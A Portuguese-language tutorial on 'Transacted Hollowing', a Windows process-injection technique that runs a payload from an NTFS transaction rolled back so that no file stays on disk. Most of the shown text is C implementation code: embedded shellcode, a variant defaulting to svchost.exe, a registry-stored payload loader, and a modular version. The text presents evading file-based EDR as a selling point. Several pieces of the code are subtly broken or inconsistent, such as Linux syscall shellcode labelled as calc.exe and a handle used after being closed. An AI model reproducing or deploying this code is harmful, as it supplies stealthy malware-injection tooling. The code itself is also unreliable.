# Transacted Hollowing

## 📑 **Índice**

1. [Fundamentos do Transacted Hollowing](#-fundamentos-do-transacted-hollowing)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Transacted Hollowing**

### **O que é Transacted Hollowing?**

Transacted Hollowing é uma técnica avançada de injeção de código que combina os conceitos de **Process Hollowing** com **transações NTFS** (NTFS Transactions). A técnica permite criar um processo a partir de um arquivo malicioso que nunca é completamente escrito no disco, utilizando transações para criar um arquivo temporário que é excluído antes que o processo seja retomado. Descoberta como uma evolução do Process Doppelgänging, o Transacted Hollowing oferece maior furtividade ao eliminar artefatos no disco.

### **Contexto Histórico**

```yaml
Evolução das Técnicas de Hollowing:
  2004: Process Hollowing (original)
  2017: Process Doppelgänging (transações NTFS)
  2018: Process Herpaderping (race condition)
  2021: Process Ghosting (delete pending)
  2022: Transacted Hollowing (combinação)
  2024: Técnica madura em APTs e red team tools

Motivação:
  ❌ Process Hollowing deixa arquivo original
  ❌ Process Doppelgänging usa transações, mas é complexo
  ✅ Transacted Hollowing combina simplicidade e furtividade
```

### **Comparação com Técnicas Relacionadas**

| Técnica                   | Arquivo no Disco     | Transações NTFS | Detecção    | Complexidade |
| ------------------------- | -------------------- | --------------- | ----------- | ------------ |
| **Process Hollowing**     | Original preservado  | Não             | Média       | Média        |
| **Process Doppelgänging** | Original intacto     | Sim             | Baixa       | Alta         |
| **Process Ghosting**      | Deletado             | Não             | Muito Baixa | Alta         |
| **Transacted Hollowing**  | Deletado (transação) | Sim             | Muito Baixa | Alta         |

### **Princípio Básico**

```mermaid
graph TD
    A[Atacante] --> B[Cria transação NTFS]
    B --> C[Cria arquivo dentro da transação]
    C --> D[Escreve payload no arquivo]
    D --> E[Cria seção de imagem a partir do arquivo]
    E --> F[Cria processo a partir da seção]
    F --> G[Rollback da transação]
    G --> H[Processo executando, arquivo deletado]
    
    subgraph "Vantagens"
        I[Arquivo nunca commitado]
        J[Sem artefatos no disco]
        K[Bypass de EDRs baseados em arquivo]
    end
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Transações NTFS (TxF)**

```yaml
O que são Transações NTFS?
  - Mecanismo introduzido no Windows Vista
  - Permite operações atômicas em arquivos e registro
  - Opera como um banco de dados: BEGIN, COMMIT, ROLLBACK
  - APIs: CreateTransaction, CommitTransaction, RollbackTransaction

APIs para Transações:
  - CreateTransaction: Inicia uma transação
  - CreateFileTransacted: Cria/abre arquivo dentro da transação
  - WriteFile: Escreve no arquivo (dentro da transação)
  - RollbackTransaction: Desfaz todas as operações
  - CommitTransaction: Confirma as operações
```

### **Fluxo de Execução Detalhado**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant T as Transação NTFS
    participant F as Sistema de Arquivos
    participant K as Kernel
    participant P as Processo

    A->>T: CreateTransaction()
    T-->>A: Handle da transação
    
    A->>F: CreateFileTransacted(T, "temp.exe")
    F-->>A: Handle do arquivo
    
    A->>F: WriteFile(payload)
    A->>F: SetEndOfFile()
    
    A->>F: CreateFileMapping(arquivo)
    F-->>A: Handle da seção
    
    A->>K: NtCreateProcess(seção)
    K->>P: Processo criado (suspenso)
    
    A->>T: RollbackTransaction()
    T->>F: Arquivo deletado (rollback)
    
    A->>K: ResumeThread()
    P->>P: Executa payload
```

### **Estrutura da Transação**

```c
// Estrutura de uma transação NTFS
typedef struct _TRANSACTION {
    GUID TransactionId;
    HANDLE hTransaction;
    DWORD state;
    // ... outros campos
} TRANSACTION, *PTRANSACTION;

// Estados da transação
#define TRANSACTION_STATE_NONE       0
#define TRANSACTION_STATE_ACTIVE     1
#define TRANSACTION_STATE_PREPARED   2
#define TRANSACTION_STATE_COMMITTED  3
#define TRANSACTION_STATE_ROLLEDBACK 4
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Transacted Hollowing Básico**

```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

// Estrutura FILE_DISPOSITION_INFO para exclusão
typedef struct _FILE_DISPOSITION_INFO {
    BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

// Payload de exemplo (calc.exe shellcode)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

SIZE_T payloadSize = sizeof(payload);

// Transacted Hollowing básico
BOOL TransactedHollowing(LPCWSTR targetExe) {
    HANDLE hTransaction = NULL;
    HANDLE hTempFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    DWORD bytesWritten;
    NTSTATUS status;
    
    // 1. Criar transação
    hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    if (hTransaction == INVALID_HANDLE_VALUE) {
        printf("[-] CreateTransaction failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Transaction created\n");
    
    // 2. Criar arquivo temporário dentro da transação
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    GetTempFileNameW(tempPath, L"tmp", 0, tempPath);
    
    hTempFile = CreateFileTransactedW(tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);
    
    if (hTempFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFileTransacted failed: %lu\n", GetLastError());
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Temp file created: %S\n", tempPath);
    
    // 3. Escrever payload
    if (!WriteFile(hTempFile, payload, payloadSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile failed\n");
        CloseHandle(hTempFile);
        CloseHandle(hTransaction);
        return FALSE;
    }
    SetEndOfFile(hTempFile);
    printf("[+] Payload written (%lu bytes)\n", bytesWritten);
    
    // 4. Criar seção a partir do arquivo
    hSection = CreateFileMapping(hTempFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hSection) {
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hTempFile);
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Section created\n");
    
    // 5. Fechar arquivo temporário (ainda na transação)
    CloseHandle(hTempFile);
    
    // 6. Criar processo a partir da seção
    status = NtCreateProcess(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                              0, hSection, NULL, NULL, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateProcess failed: 0x%08X\n", status);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        return FALSE;
    }
    printf("[+] Process created from section\n");
    
    // 7. Rollback da transação (arquivo é deletado)
    if (!RollbackTransaction(hTransaction)) {
        printf("[-] RollbackTransaction failed: %lu\n", GetLastError());
    } else {
        printf("[+] Transaction rolled back - file deleted\n");
    }
    
    // 8. Criar thread principal
    hThread = CreateRemoteThread(hProcess, NULL, 0,
                                  (LPTHREAD_START_ROUTINE)payload,
                                  NULL, 0, NULL);
    
    if (hThread) {
        printf("[+] Remote thread created\n");
        CloseHandle(hThread);
    }
    
    // 9. Limpeza
    CloseHandle(hSection);
    CloseHandle(hTransaction);
    CloseHandle(hProcess);
    
    return TRUE;
}
```

### **2. Transacted Hollowing Completo**

```c
// transacted_hollowing_full.c
// Implementação completa com parâmetros de processo

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ntdll.lib")

// Estruturas NT
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    HANDLE ConsoleHandle;
    ULONG ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
    UNICODE_STRING CurrentDirectoryPath;
    HANDLE CurrentDirectoryHandle;
    UNICODE_STRING DllPath;
    UNICODE_STRING ImagePathName;
    UNICODE_STRING CommandLine;
    PVOID Environment;
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;
    UNICODE_STRING DesktopInfo;
    UNICODE_STRING ShellInfo;
    UNICODE_STRING RuntimeData;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    BOOLEAN Spare;
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
} PEB, *PPEB;

// Typedefs para funções NT
typedef NTSTATUS (NTAPI* pNtCreateProcessEx)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    ULONG Flags,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort,
    ULONG_PTR Unknown
);

typedef NTSTATUS (NTAPI* pNtCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
);

typedef NTSTATUS (NTAPI* pRtlCreateProcessParametersEx)(
    PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    PUNICODE_STRING ImagePathName,
    PUNICODE_STRING DllPath,
    PUNICODE_STRING CurrentDirectory,
    PUNICODE_STRING CommandLine,
    PVOID Environment,
    PUNICODE_STRING WindowTitle,
    PUNICODE_STRING DesktopInfo,
    PUNICODE_STRING ShellInfo,
    PUNICODE_STRING RuntimeData,
    ULONG Flags
);

typedef VOID (NTAPI* pRtlDestroyProcessParameters)(
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters
);

// Obter endereço de entrada do payload
DWORD_PTR GetEntryPoint(LPVOID payloadBase) {
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)payloadBase;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
    
    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)payloadBase + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return 0;
    
    return (DWORD_PTR)payloadBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
}

// Carregar payload de arquivo
LPVOID LoadPayload(LPCWSTR payloadPath, SIZE_T* payloadSize) {
    HANDLE hFile = CreateFileW(payloadPath, GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return NULL;
    
    *payloadSize = GetFileSize(hFile, NULL);
    LPVOID buffer = VirtualAlloc(NULL, *payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, buffer, *payloadSize, &bytesRead, NULL);
    CloseHandle(hFile);
    
    return buffer;
}

// Função principal de Transacted Hollowing
BOOL TransactedHollowingFull(LPCWSTR targetExe, LPCWSTR payloadPath) {
    HANDLE hTransaction = NULL;
    HANDLE hTempFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    PVOID pImageBase = NULL;
    PRTL_USER_PROCESS_PARAMETERS pParams = NULL;
    UNICODE_STRING imagePath;
    UNICODE_STRING commandLine;
    DWORD bytesWritten;
    SIZE_T payloadSize;
    LPVOID payloadBuffer;
    NTSTATUS status;
    
    printf("[*] Transacted Hollowing - Full Implementation\n");
    printf("[*] ===========================================\n\n");
    
    // 0. Carregar payload
    payloadBuffer = LoadPayload(payloadPath, &payloadSize);
    if (!payloadBuffer) {
        printf("[-] Failed to load payload\n");
        return FALSE;
    }
    printf("[+] Payload loaded: %S (%zu bytes)\n", payloadPath, payloadSize);
    
    // Carregar funções NT
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = 
        (pRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    pRtlDestroyProcessParameters RtlDestroyProcessParameters = 
        (pRtlDestroyProcessParameters)GetProcAddress(hNtdll, "RtlDestroyProcessParameters");
    
    if (!NtCreateProcessEx || !NtCreateThreadEx || !RtlCreateProcessParametersEx) {
        printf("[-] Failed to get NTDLL functions\n");
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    
    // 1. Criar transação
    hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    if (hTransaction == INVALID_HANDLE_VALUE) {
        printf("[-] CreateTransaction failed: %lu\n", GetLastError());
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    printf("[+] Transaction created\n");
    
    // 2. Criar arquivo temporário
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    GetTempFileNameW(tempPath, L"txf", 0, tempPath);
    
    hTempFile = CreateFileTransactedW(tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);
    
    if (hTempFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFileTransacted failed: %lu\n", GetLastError());
        CloseHandle(hTransaction);
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    printf("[+] Temp file created: %S\n", tempPath);
    
    // 3. Escrever payload
    if (!WriteFile(hTempFile, payloadBuffer, payloadSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile failed\n");
        CloseHandle(hTempFile);
        CloseHandle(hTransaction);
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    SetEndOfFile(hTempFile);
    printf("[+] Payload written to temp file\n");
    
    // 4. Criar seção
    hSection = CreateFileMapping(hTempFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hSection) {
        printf("[-] CreateFileMapping failed\n");
        CloseHandle(hTempFile);
        CloseHandle(hTransaction);
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    printf("[+] Section created from temp file\n");
    
    // 5. Fechar arquivo temporário
    CloseHandle(hTempFile);
    
    // 6. Mapear seção para obter informações
    pImageBase = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
    if (!pImageBase) {
        printf("[-] MapViewOfFile failed\n");
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    
    // 7. Criar processo a partir da seção
    status = NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                                0, hSection, NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] NtCreateProcessEx failed: 0x%08X\n", status);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    printf("[+] Process created from section\n");
    
    // 8. Configurar parâmetros do processo
    RtlInitUnicodeString(&imagePath, targetExe);
    RtlInitUnicodeString(&commandLine, targetExe);
    
    status = RtlCreateProcessParametersEx(&pParams, &imagePath, NULL, NULL,
                                           &commandLine, NULL, NULL, NULL,
                                           NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] RtlCreateProcessParametersEx failed\n");
        NtTerminateProcess(hProcess, 0);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    
    // 9. Atualizar PEB do processo
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    if (pbi.PebBaseAddress) {
        PPEB peb = (PPEB)pbi.PebBaseAddress;
        peb->ProcessParameters = pParams;
        peb->ImageBaseAddress = pImageBase;
    }
    printf("[+] Process parameters configured\n");
    
    // 10. Rollback da transação (arquivo é deletado)
    if (!RollbackTransaction(hTransaction)) {
        printf("[-] RollbackTransaction failed: %lu\n", GetLastError());
    } else {
        printf("[+] Transaction rolled back - file deleted\n");
    }
    
    // 11. Criar thread principal
    DWORD_PTR entryPoint = GetEntryPoint(pImageBase);
    if (!entryPoint) {
        printf("[-] Failed to get entry point\n");
        RtlDestroyProcessParameters(pParams);
        NtTerminateProcess(hProcess, 0);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    
    status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
                               (LPTHREAD_START_ROUTINE)entryPoint, NULL,
                               0, 0, 0, 0, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
        RtlDestroyProcessParameters(pParams);
        NtTerminateProcess(hProcess, 0);
        UnmapViewOfFile(pImageBase);
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        VirtualFree(payloadBuffer, 0, MEM_RELEASE);
        return FALSE;
    }
    printf("[+] Main thread created at entry point 0x%p\n", (PVOID)entryPoint);
    
    // 12. Limpeza
    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSection);
    CloseHandle(hTransaction);
    UnmapViewOfFile(pImageBase);
    VirtualFree(payloadBuffer, 0, MEM_RELEASE);
    
    printf("\n[+] Transacted Hollowing successful!\n");
    return TRUE;
}

int main(int argc, char** argv) {
    printf("=== Transacted Hollowing ===\n\n");
    
    LPCWSTR targetExe = L"C:\\Windows\\System32\\svchost.exe";
    LPCWSTR payloadPath = L"C:\\temp\\payload.exe";
    
    if (argc > 1) {
        WCHAR wideTarget[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, argv[1], -1, wideTarget, MAX_PATH);
        targetExe = wideTarget;
    }
    
    if (argc > 2) {
        WCHAR widePayload[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, argv[2], -1, widePayload, MAX_PATH);
        payloadPath = widePayload;
    }
    
    if (TransactedHollowingFull(targetExe, payloadPath)) {
        printf("\n[+] Check process - payload running without disk file!\n");
    } else {
        printf("\n[-] Transacted Hollowing failed\n");
    }
    
    return 0;
}
```

### **3. Transacted Hollowing com Payload no Registro**

```c
// Variante: armazenar payload no registro antes da transação
BOOL TransactedHollowingFromRegistry(LPCWSTR targetExe, LPCWSTR regKey, LPCWSTR regValue) {
    HANDLE hTransaction = NULL;
    HANDLE hTempFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    DWORD payloadSize = 0;
    LPVOID payloadBuffer = NULL;
    
    // 1. Ler payload do registro
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regKey, 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
        return FALSE;
    }
    
    RegQueryValueExW(hKey, regValue, NULL, NULL, NULL, &payloadSize);
    payloadBuffer = VirtualAlloc(NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RegQueryValueExW(hKey, regValue, NULL, NULL, payloadBuffer, &payloadSize);
    RegCloseKey(hKey);
    
    // 2. Criar transação e arquivo temporário
    hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    
    WCHAR tempPath[MAX_PATH];
    GetTempPathW(MAX_PATH, tempPath);
    GetTempFileNameW(tempPath, L"reg", 0, tempPath);
    
    hTempFile = CreateFileTransactedW(tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        hTransaction,
        NULL,
        NULL);
    
    // 3. Escrever payload
    DWORD bytesWritten;
    WriteFile(hTempFile, payloadBuffer, payloadSize, &bytesWritten, NULL);
    SetEndOfFile(hTempFile);
    CloseHandle(hTempFile);
    
    // 4. Criar seção e processo
    hSection = CreateFileMapping(hTempFile, NULL, PAGE_READONLY, 0, 0, NULL);
    NtCreateProcess(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
                    0, hSection, NULL, NULL, NULL);
    
    // 5. Rollback da transação
    RollbackTransaction(hTransaction);
    
    // 6. Executar
    hThread = CreateRemoteThread(hProcess, NULL, 0,
                                  (LPTHREAD_START_ROUTINE)payloadBuffer,
                                  NULL, 0, NULL);
    
    VirtualFree(payloadBuffer, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    CloseHandle(hSection);
    CloseHandle(hTransaction);
    
    return TRUE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Transacted Hollowing Full Implementation**

```c
// transacted_hollowing_advanced.c
// Implementação completa com tratamento de erros

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "advapi32.lib")

// Estruturas de contexto
typedef struct {
    HANDLE hTransaction;
    HANDLE hTempFile;
    HANDLE hSection;
    HANDLE hProcess;
    HANDLE hThread;
    PVOID pImageBase;
    PVOID pPayloadBuffer;
    SIZE_T payloadSize;
    WCHAR tempPath[MAX_PATH];
} TRANSACTED_CTX;

// Verificar suporte a transações NTFS
BOOL IsTxFSupported() {
    OSVERSIONINFOW osvi = { sizeof(osvi) };
    GetVersionExW(&osvi);
    
    // TxF disponível desde Windows Vista
    return (osvi.dwMajorVersion >= 6);
}

// Criar transação e arquivo temporário
BOOL CreateTransactionAndFile(TRANSACTED_CTX* ctx) {
    ctx->hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
    if (ctx->hTransaction == INVALID_HANDLE_VALUE) {
        printf("[-] CreateTransaction failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Transaction created\n");
    
    GetTempPathW(MAX_PATH, ctx->tempPath);
    GetTempFileNameW(ctx->tempPath, L"txf", 0, ctx->tempPath);
    
    ctx->hTempFile = CreateFileTransactedW(ctx->tempPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL,
        ctx->hTransaction,
        NULL,
        NULL);
    
    if (ctx->hTempFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFileTransacted failed: %lu\n", GetLastError());
        CloseHandle(ctx->hTransaction);
        return FALSE;
    }
    printf("[+] Temp file created: %S\n", ctx->tempPath);
    
    return TRUE;
}

// Escrever payload no arquivo
BOOL WritePayloadToFile(TRANSACTED_CTX* ctx) {
    DWORD bytesWritten;
    if (!WriteFile(ctx->hTempFile, ctx->pPayloadBuffer, ctx->payloadSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile failed\n");
        return FALSE;
    }
    
    if (!SetEndOfFile(ctx->hTempFile)) {
        printf("[-] SetEndOfFile failed\n");
        return FALSE;
    }
    
    printf("[+] Payload written (%zu bytes)\n", ctx->payloadSize);
    return TRUE;
}

// Criar seção e processo
BOOL CreateSectionAndProcess(TRANSACTED_CTX* ctx) {
    // Criar seção
    ctx->hSection = CreateFileMapping(ctx->hTempFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!ctx->hSection) {
        printf("[-] CreateFileMapping failed\n");
        return FALSE;
    }
    printf("[+] Section created\n");
    
    // Fechar arquivo temporário
    CloseHandle(ctx->hTempFile);
    ctx->hTempFile = INVALID_HANDLE_VALUE;
    
    // Mapear seção para obter informações
    ctx->pImageBase = MapViewOfFile(ctx->hSection, FILE_MAP_READ, 0, 0, 0);
    if (!ctx->pImageBase) {
        printf("[-] MapViewOfFile failed\n");
        return FALSE;
    }
    
    // Criar processo
    NTSTATUS status = NtCreateProcess(&ctx->hProcess, PROCESS_ALL_ACCESS, NULL,
                                        GetCurrentProcess(), 0, ctx->hSection,
                                        NULL, NULL, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateProcess failed: 0x%08X\n", status);
        return FALSE;
    }
    printf("[+] Process created from section\n");
    
    return TRUE;
}

// Configurar parâmetros do processo
BOOL ConfigureProcessParameters(TRANSACTED_CTX* ctx, LPCWSTR targetExe) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pRtlCreateProcessParametersEx RtlCreateProcessParametersEx = 
        (pRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    
    UNICODE_STRING imagePath;
    UNICODE_STRING commandLine;
    PRTL_USER_PROCESS_PARAMETERS pParams = NULL;
    
    RtlInitUnicodeString(&imagePath, targetExe);
    RtlInitUnicodeString(&commandLine, targetExe);
    
    NTSTATUS status = RtlCreateProcessParametersEx(&pParams, &imagePath, NULL, NULL,
                                                    &commandLine, NULL, NULL, NULL,
                                                    NULL, NULL, 0);
    
    if (status != 0) {
        printf("[-] RtlCreateProcessParametersEx failed\n");
        return FALSE;
    }
    
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(ctx->hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    if (pbi.PebBaseAddress) {
        PPEB peb = (PPEB)pbi.PebBaseAddress;
        peb->ProcessParameters = pParams;
        peb->ImageBaseAddress = ctx->pImageBase;
    }
    
    printf("[+] Process parameters configured\n");
    return TRUE;
}

// Executar payload
BOOL ExecutePayload(TRANSACTED_CTX* ctx) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    
    DWORD_PTR entryPoint = GetEntryPoint(ctx->pImageBase);
    if (!entryPoint) {
        printf("[-] Failed to get entry point\n");
        return FALSE;
    }
    
    NTSTATUS status = NtCreateThreadEx(&ctx->hThread, THREAD_ALL_ACCESS, NULL,
                                        ctx->hProcess, (LPTHREAD_START_ROUTINE)entryPoint,
                                        NULL, 0, 0, 0, 0, NULL);
    
    if (status != 0) {
        printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
        return FALSE;
    }
    printf("[+] Main thread created at 0x%p\n", (PVOID)entryPoint);
    
    return TRUE;
}

// Rollback da transação
BOOL RollbackTransaction(TRANSACTED_CTX* ctx) {
    if (!RollbackTransaction(ctx->hTransaction)) {
        printf("[-] RollbackTransaction failed: %lu\n", GetLastError());
        return FALSE;
    }
    printf("[+] Transaction rolled back - file deleted\n");
    return TRUE;
}

// Limpeza
void Cleanup(TRANSACTED_CTX* ctx) {
    if (ctx->hThread) CloseHandle(ctx->hThread);
    if (ctx->hProcess) CloseHandle(ctx->hProcess);
    if (ctx->pImageBase) UnmapViewOfFile(ctx->pImageBase);
    if (ctx->hSection) CloseHandle(ctx->hSection);
    if (ctx->hTempFile != INVALID_HANDLE_VALUE) CloseHandle(ctx->hTempFile);
    if (ctx->hTransaction) CloseHandle(ctx->hTransaction);
    if (ctx->pPayloadBuffer) VirtualFree(ctx->pPayloadBuffer, 0, MEM_RELEASE);
}

// Função principal
BOOL TransactedHollowing(LPCWSTR targetExe, LPVOID payloadBuffer, SIZE_T payloadSize) {
    TRANSACTED_CTX ctx = {0};
    BOOL success = FALSE;
    
    printf("[*] Transacted Hollowing - Advanced Implementation\n");
    printf("[*] ===============================================\n\n");
    
    if (!IsTxFSupported()) {
        printf("[-] NTFS Transactions not supported on this system\n");
        return FALSE;
    }
    
    ctx.pPayloadBuffer = payloadBuffer;
    ctx.payloadSize = payloadSize;
    
    // 1. Criar transação e arquivo
    if (!CreateTransactionAndFile(&ctx)) goto cleanup;
    
    // 2. Escrever payload
    if (!WritePayloadToFile(&ctx)) goto cleanup;
    
    // 3. Criar seção e processo
    if (!CreateSectionAndProcess(&ctx)) goto cleanup;
    
    // 4. Configurar parâmetros do processo
    if (!ConfigureProcessParameters(&ctx, targetExe)) goto cleanup;
    
    // 5. Rollback da transação (arquivo deletado)
    if (!RollbackTransaction(&ctx)) goto cleanup;
    
    // 6. Executar payload
    if (!ExecutePayload(&ctx)) goto cleanup;
    
    success = TRUE;
    printf("\n[+] Transacted Hollowing successful!\n");
    
cleanup:
    Cleanup(&ctx);
    return success;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
